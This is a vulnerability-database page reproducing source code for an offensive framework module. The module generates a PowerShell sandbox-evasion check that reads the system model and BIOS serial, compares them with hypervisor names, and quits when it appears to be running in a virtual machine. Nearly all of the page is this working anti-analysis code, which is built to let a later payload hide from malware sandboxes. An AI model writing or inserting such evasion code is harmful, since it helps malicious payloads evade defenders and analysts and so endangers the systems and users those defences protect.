Lucene search
+L

Check VM / Sandbox (PowerShell)

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

KittySploit Check VM / Sandbox (PowerShell) module exits if VM indicators are detected.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from typing import Any, Dict

from kittysploit import *


class Module(Prestage):
    PRESTAGE_ID = "check_vm"

    __info__ = {
        "name": "Check VM / Sandbox (PowerShell)",
        "description": "Exit early when common VM or sandbox indicators are detected",
        "author": "KittySploit Team",
        "version": "1.0.0",
        "platform": Platform.MULTI,
        "languages": ["powershell"],
        "dependencies": [],
        "tags": ["evasion", "prestage", "offline", "powershell"],
    }

    def generate_powershell(self, context: Dict[str, Any] = None) -> str:
        return """
$ErrorActionPreference='SilentlyContinue'
$markers=@('vmware','virtualbox','vbox','qemu','xen','hyper-v','kvm','parallels','bochs','innotek','virtual')
$hit=$false
try {
  $blob=(Get-CimInstance Win32_ComputerSystem -ErrorAction Stop | Select-Object -ExpandProperty Model).ToLower()
  foreach($m in $markers){ if($blob -like "*$m*"){ $hit=$true; break } }
} catch {}
if(-not $hit){
  try {
    $bios=(Get-CimInstance Win32_BIOS -ErrorAction Stop | Select-Object -ExpandProperty SerialNumber).ToLower()
    foreach($m in $markers){ if($bios -like "*$m*"){ $hit=$true; break } }
  } catch {}
}
if($hit){ exit 0 }
""".strip()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
5.9Medium risk
Vulners AI Score5.9
4